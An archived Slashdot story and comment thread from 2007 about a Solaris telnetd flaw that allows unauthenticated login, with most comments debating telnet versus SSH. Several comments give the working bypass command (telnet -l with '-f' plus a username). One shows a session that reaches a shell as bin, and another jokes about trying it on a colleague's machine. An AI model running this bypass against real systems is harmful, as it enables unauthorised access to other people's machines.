Stories
Slash Boxes
Comments

News for nerds, stuff that matters

Slashdot Log In

Log In

Create Account  |  Retrieve Password

Solaris Telnet 0-day vulnerability

Posted by Hemos on Mon Feb 12, 2007 08:40 AM
from the frantically-trying-to-fix dept.
philos writes "According to SANS ISC, there's a vulnerability in Solaris 10 and 11 telnet that allows anyone to remotely connect as any account, including root, without authentication. Remote access can be gained with nothing more than a telnet client. More information and a Snort signature can be found at riosec.com. Worse, this is almost identical to a bug in AIX and Linux rlogin from way back in 1994."
+ -
story

Related Stories

[+] Worm Exploiting Solaris Telnetd Vulnerability 164 comments
MichaelSmith writes "Several news sites are reporting that a worm is starting to exploit the Solaris Telnet 0-day vulnerability. By adding simple text to the Telnet command, the system will skip asking for a username and password. If the systems are installed out of the box, they automatically come Telnet-enabled. 'The SANS Internet Storm Center, which monitors Internet threats, has noticed some increase in activity on the network port used by Solaris' telnet feature, according to an ISC blog posted on Tuesday. "One hopes that there aren't that many publicly reachable Solaris systems running telnet," ISC staffer Joel Esler wrote.'"
This discussion has been archived. No new comments can be posted.
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
 Full
 Abbreviated
 Hidden
More
Loading... please wait.
  • by nettdata (88196) on Monday February 12 2007, @08:44AM (#17981860) Homepage
    Who the hell even THINKS about enabling telnet on any box these days?

    • Re: (Score:3, Interesting)

      Well, according to TFA, nobody should.
    • nothing WRONG with telnet. I use it all the time.

      but ONLY on trusted lans, of course.

      I find it quicker than ssh logins. of course its quicker, it has no encryption to do. and the initial seeding (at connect time) also takes a LONG time on some boxes (ssh to a cisco box; come back after lunch and you'll get your login prompt).

      telnet over a wan is dumb. telnet over a 10' piece of wire is NOT dumb.

      telnet has its place.
      • Re: (Score:3, Insightful)

        Telnet is dumb! Quicker than SSH? What the hell? Are you streaming video over your SSH connection or what? Most sane people just use it for a remote console, and speed isn't much of an issue in those circumstances...

        Opening/enabling telnet is a mistake. Even if you're using it safely, which, in my mind, is across a hub that isn't connected to anything else but the two computers you're talking to you've still got that port open and vulnerable. Using it on a LAN is just begging someone with a packet sniffer t
        • by Nasarius (593729) on Monday February 12 2007, @09:01AM (#17982022)

          Quicker than SSH? What the hell? Are you streaming video over your SSH connection or what?
          I think GP is referring to the initial connect handshake. Oh no, it takes an extra 500ms to establish a secure connection. If your network is private enough to feel safe using telnet, you can certainly set up RSA/DSA keys to use SSH without a password, eliminating the time it takes to enter it.
          • Re: (Score:3, Informative)

            Well, the encryption will still add a level of overhead to your packet traffic, so the whole thing will be "slower" but, from experience, you can play Zangband in either one and you'll still have to turn the key delay way up to keep it from getting you killed, and that's about the most bandwidth intensive application I've ever run in ssh that could have been run just as well in telnet.
          • Re: (Score:3, Informative)

            its NOT 500ms on my cisco boxes.

            admittedly, they'd old 'test' junker boxes that I use for netmgt testing. I had to write some expect style scripts to login to them, throw a command, get the buffer output, parse it and disconnect. for each kind of 'thing' I wanted to remotely retrieve.

            it took over 20 secs, on SOME cisco boxes, to get a ssh prompt back.

            quite unacceptable.

            then I used telnet and it was almost instant.

            again, if you secure your lan (my 10' piece of PRIVATE WIRE) there is NOTHING wrong with teln
                • by bugnuts (94678) on Monday February 12 2007, @11:35AM (#17983934) Journal

                  Security best practices are the same whether you're talking about securing your home network or a military network
                  No. It's not. The only thing those have in common is considering what you are protecting, and how much risk you wish to take versus the convenience granted. The specifics are immaterial.

                  The OP is right, he knows his risks and has deemed it acceptable. You and others, having no idea of the risk, deem it unacceptable and are the ignorant ones.
                  • Re: (Score:3, Insightful)

                    You are so wrong. The difference is, on the one hand, taking a risk for zero gain on an obsolescent standard, and on the other hand, using the application that is pretty much the standard for this type of communication! You keep acting like there is some kind of mystical benefit to using telnet, and there's just not. What are you guys using 2800 baud modems? What's the worst case with SSH? The encryption can be compromised...making it the same as fricking telnet!

                    Hmmmm. Decisions, decisions, decisions.
                    • Re: (Score:3, Insightful)

                      1) Putty [greenend.org.uk] is free, stable, and easy to use.
                      2) service telnetd stop;service sshd start
                      3) Hitting "Y" one time is too much bother for you?
                      4) Non-issue on all but the slowest hardware.
                      5) I don't see how that is a benefit...
            • Re: (Score:3, Interesting)

              It may take _that_ long on a sparc box, but stick some nice amd opterons in there and you'll never even notice.

              Thats nice and all, but I believe the GP was referring to systems w/ embedded processors, where thast not an option, and I also think he was whining about the initial key gereation (that first time you set it up process), which can take a bit of time on embedded processors. As an example, the Pix 515 has a lowly Pentium 166 at its core, the heavy math of calculating big primes can take a while.

              • by arth1 (260657) on Monday February 12 2007, @11:08AM (#17983590) Homepage Journal
                Vendor support for ssh is one factor. Many companies have aversions to installing software unless it's backed by FULL support from the vendor. Having to go to a third party, like F-Secure, to get vendor support is often undesirable, and unfortunately, security can lose to support requirements, service level agreements and response time. Even worse is that there's multiple and sometimes incompatible versions of SSH out there - what may come with one system isn't guaranteed to work with another.
                Can you get the OS vendor to jump and have a man there within 30 minutes to fix it if a supported OS function doesn't work? Yes. Can you get the OS vendor to jump and have a man there within 30 minutes if OpenSSH doesn't work? No. Sometimes it's as simple as that, unfortunately.

                That said, don't think that I believe telnet is a good substitute for ssh, but often, and especially in a turtled environment (hard on the outside, soft on the inside) where five nines are more important than internal security, it may still be a better choice, at least until all the OS vendors provide fully supported (and compatible!) versions of SSH.
      • Re: (Score:3, Insightful)

        If ssh on your cisco boxes is slow, you either have serious network problems or your cisco box has been end-of-life for 10 years. If you don't practice security inside your network, you are asking for trouble. Perimeter-only security is Sooo 1990. Time to join the next century.
        • by mi (197448) <mi+slashdot@aldan.algebra.com> on Monday February 12 2007, @09:23AM (#17982246) Homepage

          If ssh on your cisco boxes is slow, you either have serious network problems [...]

          Most likely, the reverse DNS is misconfigured. This is the number one reason for ssh-login delays. Maybe, the nameservers initially put into the router's configuration are no longer reachable due to subsequent "hardening". Or, maybe, they went away and were replaced long ago — without anybody telling the routers. Nothing else on a router uses DNS usually, so this problem affects only ssh-daemon and gets blamed on it...

          The daemon could, of course, be a little bit smarter and not try to do a reverse DNS, when there are no hostname-based authorization rules in the first place... But that's a minor bug compared to reverse DNS being dysfunctional.

    • Re: (Score:3, Informative)

      Who the hell even THINKS about enabling telnet on any box these days?

      Sun, apparently, since it's enabled by default.

      • by dknj (441802) on Monday February 12 2007, @09:24AM (#17982260) Journal
        except it's not... (at least not as of the 10/06 release)
        • Re: (Score:3, Informative)

          I have 11/06, and believe me, I was surprised to find telnet enabled.
        • by arth1 (260657) on Monday February 12 2007, @10:47AM (#17983306) Homepage Journal
          Since the exploit site didn't yet have information about older versions of Solaris/SunOS, I hope it can quench the panic for some when I say that only Solaris 10+ appears to be affected.

          If you're on Solaris 8 (SunOS 5.8 or Solaris 2.5.8) or 9 (SunOS 5.9, or Solaris 2.5.9), you appear to be safe.

          This is relevant because large companies seldom jump to the newer versions until they have to - for production systems, as long as the older versions are supported and working, that's more important than gambling on existing software still working if upgrading the OS. So there's an awful lot of systems with Solaris 8 and 9 out there, but luckily they appear not to be affected.
      • Re: (Score:3, Informative)

        Whatever the SUNny fanboys have / had to say:
        Only in Solaris 10 11/06 was it disabled, and only if SBD was selected.
        This sheds a wholly new light on 'Secure By Default':
        Disabling telnet ! Yahoo ! - if SBD is set.
    • by imikem (767509) on Monday February 12 2007, @08:52AM (#17981944) Homepage
      Relevant line from /etc/services:

      telnet 23/tcp imadumbass hackmenow rootrus rotflmao
    • by teslar (706653) on Monday February 12 2007, @08:53AM (#17981958)
      I do. And then I sit down naked in the snow and castigate myself with a 9-tail as a punishment for these impure thoughts.

      Having said that, today is a good day to find out if that head of IT you never liked anyway has telnet enabled on one of his Solaris machines :)
    • towel.blinkenlights.nl, that's who.
    • by bockelboy (824282) on Monday February 12 2007, @09:08AM (#17982082)
      Let me take a crack at this:

      1) Fermi National Accelerator Laboratory.

      That'll account for a couple thousand computers. It's left as an exercise for the reader to find other sites.

      Are they just crazy? I know that almost every single box at FNAL has the telnet daemon running, and is behind no firewall. Why aren't they hacked-to-death? Kerberos.

      FNAL has a policy that every service beyond central IT's web pages is protected by Kerberos. The Kerberos-enabled version of telnet is as secure as one can get; I've been told by their sysadmins that it is more secure than SSH because it is simpler and the network and authz/authn stacks are separated. So, historically, Kerberos-enabled telnet has had less bugs than SSH.

      Just because YOU don't run telnet (or don't know how to run it securely) doesn't mean that there aren't thousands of boxes out there that are secured by it.

      If there are actually any Sun boxes at FNAL (they were one of the original big adopters of Linux), you can bet they'll probably be turned off today...
      • Re: (Score:3, Informative)

        Just to nitpick, nothing is secured by telnet. Just because the login is "safe" doesn't mean that using an unencrypted protocol is ever a good idea.
        • by evilviper (135110) on Monday February 12 2007, @11:51AM (#17984162) Journal

          Just because the login is "safe" doesn't mean that using an unencrypted protocol is ever a good idea.

          You're right... No more secure websites for you, since HTTPS is just HTTP over an SSL data stream.

          You could just as easily use Kerberos to encrypt HTTP traffic as SSL, and that is indeed exactly what Kerberos does for just about any communications protocol...

          Kerberos telnet is as encrypted as it gets.
          • Sounds like they're more interested in watching their own employees than in securing their systems from external threats.

            If it were me I'd just log everything in every session (which is easy), and make the users use SSH. That way you can audit everything they do, every command they type, but still have a level of security. You have to remember that any user can sniff telnet traffic on the network, so forcing everyone to use telnet because you don't trust them means the ones who are untrustworthy have a better chance of stealing something useful from a coworker.

            Even better would be to hire trustworthy people and treat them as such in the absence of evidence to the contrary.
    • by 99BottlesOfBeerInMyF (813746) on Monday February 12 2007, @10:14AM (#17982852)

      Who the hell even THINKS about enabling telnet on any box these days?

      Sadly, a whole lot of people. I work for a company that makes very expensive and cool specialty servers that perform certain security related functions. As a security company, naturally we take care not to tarnish our reputation by leaving these servers vulnerable themselves. We try to encourage our customers to be moderately responsible as well, as any box can be made insecure. I know of at least on tier-1 ISP that has one of our boxes sitting publicly accessible with telnet enabled and no IP access restrictions.

      As for who uses telnet in general, most ISPs in Asia seem to use telnet to configure their systems via their control networks. Large financial institutions in Europe use telnet, as use of encryption is restricted on their trusted networks, for reasons of transparency to the stock regulating authorities. ISPs in South America often use telnet and provide shell accounts to customers. I'm sure there are more groups that use it for one reason or another.

  • not an excuse (Score:5, Insightful)

    by otacon (445694) on Monday February 12 2007, @08:55AM (#17981970) Homepage
    "Nobody should be using it anyways" is not an excuse. If it is included, it should be held to the same standard as every other application. In some legacy cases I'm sure telnet is of some use. But regardless the fact that it has a practical use or not is irrelevant.
  • by petes_PoV (912422) on Monday February 12 2007, @08:56AM (#17981986)
    First they say there's a bug with telnet passing switches through to login.
    Then they start a tirade against sending passwords in the clear.
    After that they say the fix is not to use telnet.

    Putting aside the holier (more secure) than thou attitudes here about telnet security. I've got to say that not using something because it's broken is never a fix (unless you're a manager). The fix is to mend the problem. In the meantime, maybe, avoid the service. but bear in mind, someone still has to fix it.

  • 0-day? (Score:3, Interesting)

    by Aladrin (926209) on Monday February 12 2007, @09:07AM (#17982056)
    Maybe I'm just confused, but doesn't '0-day' mean the exploit was found the day the code in question was released?

    I generally don't follow Solaris, and 11 might have just come out, but I seriously doubt 10 and 11 both came out at the same time.
    • Re:0-day? (Score:5, Informative)

      by walt-sjc (145127) on Monday February 12 2007, @09:13AM (#17982146)
      No, zero day means that an exploit was released before or on the same day as the vendor / community found out about it. Ethical security researchers notify the vendor first, and at LEAST give them a few days / weeks to resolve the problem before releasing the full details to the public.
  • The Exploit (Score:4, Informative)

    by biftek (145375) on Monday February 12 2007, @09:37AM (#17982400)
    Since noone seems to have bothered posting it yet, "telnet -l -frandomuser randomsolarishost".

    So stupid.
  • by jaymzter (452402) on Monday February 12 2007, @10:02AM (#17982712) Homepage

    rhlinux1:~$ telnet -l"-froot" solaris
    Trying 172.16.141.27...
    Connected to solaris.example.com (172.16.141.27).
    Escape character is '^]'.
    Not on system console
    Connection closed by foreign host
    This is basically a vanilla install.
    • Re: (Score:3, Informative)

      by Anonymous Coward
      telnet -l"-fbin" solaris
      • Re: (Score:3, Informative)

        That did work. One correction however... I'm using Solaris 10 11/06, not 01/06

        rhlinux1:/09:01:01~$ telnet -l"-fbin" solaris
        Trying 172.16.141.27...
        Connected to solaris.jaymzworld.test (172.16.141.27).
        Escape character is '^]'.
        Sun Microsystems Inc. SunOS 5.10 Generic January 2005
        $ uname -a
        SunOS solaris 5.10 Generic_118855-33 i86pc i386 i86pc
        $ id
        uid=2(bin) gid=2(bin

        I ran the following to disable telnet
        inetadm -d svc:/network/telnet:default

  • by kentrel (526003) on Monday February 12 2007, @10:05AM (#17982756) Journal
    To: You Unix Communists
    From: Steve Ballmer
    Subject: Pwned
    Body:
    Microsoft:1 - Unix: NIL LOLOLOLOLOLOL!!!!!!!111


    :)
    Love Steviepoo

  • by BrianRoach (614397) on Monday February 12 2007, @11:28AM (#17983870)
    When you install Solaris 10, you are prompted for how you want remote access to the box initially configured. This is done in phase 1 of the install, running off the install media.

    You can either turn on everything (telnetd, ftpd, etc, etc), or only have sshd running when the box comes up for the first time.

    So saying that telnetd is on "by default" isn't exactly correct, unless your definition of "by default" is "explicitly enabled".

    - Roach
      • by SatanicPuppy (611928) * <<Satanicpuppy> <at> <gmail.com>> on Monday February 12 2007, @08:50AM (#17981920) Journal
        Just because it's not deployed in many places, doesn't mean that those places aren't cracker dream targets...I've got 5 Solaris machines, and the least critical of them is a far better target than the most critical Windows, or even Linux box.

        Still, first poster is right. Wtf uses telnet anymore, unless they're dealing with the most legacy of legacy crap.
        • Wtf uses telnet anymore, unless they're dealing with the most legacy of legacy crap.
          I'll bet more of the IT-based Slashdotters than would like to admit are forced to support, or at least deal with, the most legacy of legacy crap now and then.
          • Re: (Score:3, Insightful)

            If that MUD is using telnetd instead of using its own socket code, it may not be "the most legacy of legacy crap" but it's certainly the worst MUD software ever written.

            Although I suspect you just have no idea what you're talking about and it's not doing that.
            • Re: (Score:3, Insightful)

              The thing is, you can tunnel pretty much anything over anything, and telnet would be pretty easy to tunnel over. In fact, if you really wanted you could tunnel SSH over Telnet, and retain the encryption. So, there is absolutely no reason to leave Telnet unblocked and SSH blocked. Furthermore, in an institutional environment like a school, you could just not install SSH clients, and not give the students sufficient privileges to run their own, which is more effective than blocking particular ports. As long a

    • Re: (Score:3, Informative)

      by Anonymous Coward
      Solaris 8, 9, 10 -- all have telnet, ftp, rlogin and others enabled by default at a clean install.
      You can check it for yourself in vmware, if you do not believe.
    • Re: (Score:3, Insightful)

      The bad news is that we have no idea how long people have known about this problem...

      But in a closed development model we would have some magic insight in how long people have known about a flaw? I'm sorry, but I fail to see the drawbacks in this case.

    • by walt-sjc (145127) on Monday February 12 2007, @09:08AM (#17982080)
      Since apparently Sun is negligent enough to have telnet enabled by default, it is an important story. This reminds me of the old NT4 days, where every service on the machine was enabled by default, and the first thing you had to do was turn everything off. Come on Sun, get with program here...
      • by zdzichu (100333) <zdzichu@i[ ]pl ['rc.' in gap]> on Monday February 12 2007, @09:54AM (#17982630) Homepage Journal
        The article talks about Solaris 10 u1 released in 2005. The latest thing is u3, which has two things:

        1) this attack does not work:

        Escape character is '^]'.
        Not on system console
        Connection closed by foreign host.

        2) when installing U3 one can opt to close most services. This could be also done after installation with "netservices limited" command.
        • by moyix (412254) on Monday February 12 2007, @10:56AM (#17983432) Homepage
          This is only because root is not allowed to log in remotely by default. "-fanyotheruser" will still work. I believe the current favorite is "-fbin". Also, if you've commented out the console line in /etc/default/login, it will allow access to root.

          This has been confirmed on the latest version of Solaris 10.
        • Re: (Score:3, Informative)

          > Escape character is '^]'.
          > Not on system console
          > Connection closed by foreign host.

          Reason that message happened: You succesfully logged in as root. However, /etc/default/login specified that root logins may only be made from the console. Feel free to telnet in as any other user.

          And for the people saying, "OMG! Who uses telnet anymore?!?!", remember that with Solaris (at least up until my experience with 10), it comes out of the box with Telnet *enabled*. It isn't people who enabled telnet that a